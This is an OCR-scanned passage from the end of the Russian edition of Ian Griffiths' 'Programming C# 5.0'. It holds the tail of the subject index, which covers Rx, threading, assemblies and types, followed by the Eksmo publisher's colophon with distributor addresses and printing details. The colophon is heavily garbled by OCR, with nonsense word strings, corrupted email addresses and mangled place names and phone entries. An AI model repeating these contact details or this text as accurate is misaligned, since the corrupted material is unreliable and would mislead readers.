Scan, 599 SelectMany, 585 Window, 591 агрегации, 585 выборочные операторы, 586 группирования, 577 объединения, 578 объединения с нулем, 107 составной оператор присваивания, 108 сравнения,105 условный, 106 Отражение, 6715 контексты отражений, 702 Очередь, 269 П Панели, 953 Переменная активная, 319 диапазона, 473 итерации, 119 локальная, 56 область видимости переменной, 63 Планировщик, 602 CurrentThreadScheduler, 604 EventLoopScheduler, 607 ImmediateScheduler, 603 NewThread Scheduler, 607 TaskPoolScheduler, 608 TestScheduler, 608 ThreadPoolScheduler, 608 Подсистема, 637 Ползунок, 984 Пользовательские элементы управления, 409,994 Потоки, 762 аппаратные потоки, 820 беспоточные задачи, 878 внешняя транзакция, 826 гиперпоточность, 821 захват работы, 837 контекст исполнения, 830 ленивая инициализация, 872 локальная память потоков, 826 1133
Предметный указатель мьютексы, 867 незамеченное исключение, 887 ожидаемый шаблон, 894 операции, свободные от блокировок, 870 потокобезопасная коллекция, 824 потокобезопасность, 825 потоковая родственность, 841 приоритетные потоки, 833 продолжение, 881 семафоры, 866 синхронизация, 860 события, 860 фазы, 865 Правила четкого присваивания, 63 Преамбула, 790 Предикат, 418 Привязка данных, 1000 Прикрепление, 976 Приложения в стиле Metro, 17,20 Проверяемый контекст, 95 Пространство имен, 44 объявление пространства имен, 47 Пустая истина, 510 Р Развертывание упакованных приложений, 669 Разработка с ориентацией на тестирование (TDD, Test-Driven Development), 37 Расширение .аррх, 670 .appxsym, 670 .appxupload, 670 .aspx, 1017,1032,1036 .cs, 945 .cshtml, 1017 .csproj, 1019 .msi, 671 .resx, 662 .vbhtml, 1017 .winmd, 1120 .xap, 673,717 Реактивные расширения (Rx, Reactive Extensions), 544,546 C Сборка mscorlib, 639,643, 655,660,692 вспомогательные сборки ресурсов, 665 интероперабельная, 1112 манифест сборки, 636 маркер открытого ключа, 650 многофайловые сборки, 636 основная сборка взаимодействия (PIA, primary interop assembly), 1113 отложенное подписывание, 653 простое имя, 650 строгие имена, 650 явная загрузка, 646 Сборка мусора, 317 полная, 338 Сборщик мусора, 27,316 Сериализация, 745,807 сериализация контрактов данных, 813 Сети. См. Социальные сети Символ компиляции, 81 Словарь, 262 отсортированный, 266 События, 183,455 всплывание событий, 460 запуск события, 456 Соглашения верблюжийСтиль (camelCasing), 124 СтильПаскаль (Pascal Casing), 124 Список, 242 емкость списка, 244 связанный, 271 Среда разработки Visual Studio, 31 веб-узел, 1019 проект, 31 решение, 32 система проекта, 32 Ссылки длинные слабые, 331 корневые, 319 короткие слабые, 331 слабые, 327 Стек, 270 Субъект, 609 AsyncSubject<T>, 613 BehaviorSubject<T>, 611 Replay Subject<T, 612 Subject<T>, 609 T Теория категорий, 284 Типизация динамическая, 708 слабая, 707 статическая, 708 строгая, 708 Типы данных анонимные, 192 встроенные, 86 значимые, 136 непроизносимые имена, 193 перечисления, 188 повышение значений типов, 92 поля, 150 преобразование с проверкой, 95 приведение типов, 93 нисходящее, 277 свойства, 171 по умолчанию, 177 ссылочные, 136 статические, 706 1134
Предметный указатель структуры, 130,138 сужение типа, 93 тип Nullable<T>, 137 тип object, 192, 289 частичное объявление типа, 193 числовые типы, 87 члены, 149 У Упаковка, 136,187,317 Ф Финализатор, 351 критический, 355 Финализация, 316,350 Флаг новой ячейки, 303 X Холодные (пассивные) источники, 555 Хэш-код, 141 хэш-коллизия, 141 Ч Числа двойной точности, 88 одинарной точности, 88 Ш Шаблон шаблон модель-представление- контроллер, MVC, 1046 шаблоны данных, 1005 Э Эквивалентность типов, 1114 л Я Язык программирования с динамической типизацией, 57 со статической типизацией, 57
Производственно-практическое издание МИРОВОЙ КОМПЬЮТЕРНЫЙ БЕСТСЕЛЛЕР Иэн Гриффитс ПРОГРАММИРОВАНИЕ НА C# 5.0 (орыс Т1Л1нде) Директор редакции Е. Капьёв Ответственный редактор В. Обручев Художественный редактор Г. Федотов ООО «Издательство -Эксмо- 123308, Москва, ул. Зорге, я 1 Тел. 8 (495) 411-68-86.8 (495) 956-39-21. Home раде: www.eksmo.ru E-mail: Info9oksmo.ru OHrtpyuji: -ЭКСМО» АКБ Басласы, 123306, Маскау, Ресей, Зорге гешеЬ, 1 уй. Тел. 8 (495) 411 -68-86,8 (495) 956-39-21 Ноте pope: www.eksmo.ru Е-тай: infoSeksmo.ru. Тауер белгю: -Эксмо» Казакстан Рвспубликасында д истрибьютор жене емм бойынша арыз-талаптврды кабы/щяушыныч акИ -РДЦ-Алматы» ЖШС, Алматы К-, Домбровский каш., 3-а». литер Б, офис 1. Тел.: 8(727) 2 51 59 89,90,91,92, факс: 8 (727) 251 58 12 ей. 107: E-mal: RDC-AlmatySeksmo.kz бйммц ларамдылык мерям! шектелмеген. Сертификация туралы аппарат сайтта: www.eksmo.ru/cerWteation (клевав таргоаяя оеееме Шпвмв ООО -ТД «Эксмо. 142700, Московская обл.. Ленинский р-н. г. Видов. Белокаменное ш.. д 1. ьмогоанальньй тел. 411 -50-74. Е-тай: rwcepttonSefcemo-eate.nl По аопроеаяприоертяя ош- аЗвомо зцвуваеамм оптоаьмг ловупягеевдо обращаться отдал зарубежных пргнвж ТД 'Эксыв* Е-тай: MemaSonMSMamo-ealo.nl hltntitnl Sates.* IntemeUonei ahoiesaie custo/nen shoM contact Foreign Sates Department of Tractng House •Borno- for their orders. MemottonelSMamo-eete.nl Ловпцрогм1 аегам пкг трпгупшвыювмггтпм, а том числе а спамимом n^fyiiwan, обращаться no пал. +7(496)411-68-59, &б. 2261, 1257. E-mM HpnfcazSafcamo.ni Orraaae тцргааме бумаюю-баяоаьешг а гамцдяярелаат топарааягдла илиаг и офиса ^Самц-ЗИомо»: Компам* »Кдо-Энсмо: 142702, Московская обл., ЛемоспМ р-н. г Видное-2, Белокаменное ш., д 1, а/я 5. Тел./факс *7 (495) 745-28-87 (ююгокдолы**). е-ггай: kanoSokamo-eate.ni, сайг vmwkanc-ekemo.ru Полл М ялппрп—iff new ящатаяв стае «ЗКемодлс оггтааыг лакупетвяай: В Санкт-Петербурга: ООО СЭКО. пр-т Обупеской Обороны, д 84Е. Тал. (812) 365 46 ОЭДИ. В Мамам HoeroptMO: ООО ТД «Эксмо НН». 603094, г. Ниюмй Новгород ул. Карпмсюго. д 29, биэнес-парк «Грж Плаза» Тел. (831) 216-15-91 (92,93,94). В Рпгтпее im Яку ООО »РДЦ-Ростоа», пр. Стачм. 243А. Тел (663) 220-19-34. В Сапере; ООО »РДЦ-Самцж», пр-т Кдоеа, д 75/1. /ытера »Е». Тел (846) 269-66-70 В ГаатормФурге: ООО «ЭДЦ-Ептеринбург», ул. Прибалтийская, д 24а. Тел. *7 (343) 272-72-01/02/03/04/05/06/07/06. В Невосмбдосае: ООО «едц-НовосибфСк». КсмбювтскМ пер., д 3. Тел +7 (383) 289-91 -42. Е-тМ: ekomo-flOkSyendeK.ni В Киеве: ООО -ВДЦ Эксмо-Украига . Московский пр-т, д 9 Тел /факс: (044) 495-79-80/81 В Донецко: ул. Артема, д 160. Тал. *38(032)381-81-05. В Харыкмо: ул. Гмдойцве Жалезнодоропоеоа, д 8. Тел. *38 (057) 724-11 -56. ВоЛапаг ТП ООО «Эксмо-Зала», ул. Бузкоаа, д 2. Тел./фшс (032) 245-00-19. В Симферополе: ООО «Эксмо-Крым», ул. Kiner гоп, д 153. Тел./факс (0652) 22-90-03,54-32-99. В Каеанстано: ТОО «ЯДЦ-Алмвты», ул. Домбровского, д За. Тел./факс (727) 251 -59-90/91 nte-afcnatySmal ju Мкгеряет-емгеянн ООО «Ммательство -Эксмо» www.flctton.ekamo.ru Двамммае ге*ма*а анмг с доставкой по асеасу аафу. Тел.: *7 (495) 745-89-14. Е-тай: knarfcotSekamo-oale.nl Сведения о подтверждении соответствия издания согласно законодательству РФ о техническом регулировании можно получить по адресу: http://eksmo.ru/certification/ 9нд1рген мемлекет: Ресей Сертификация карастырылмаган Подписано в печать 20.02.2014. Формат 70х10071в. Печать офсетная. Усл. печ. л. 92,04. Тираж 1500 экз. Заказ 1401 Отпечатано с готовых файлов заказчика в ОАО «Первая Образцовая типография», филиал «УЛЬЯНОВСКИЙ ДОМ ПЕЧАТИ» 432980, г. Ульяновск, ул. Гончарова, 14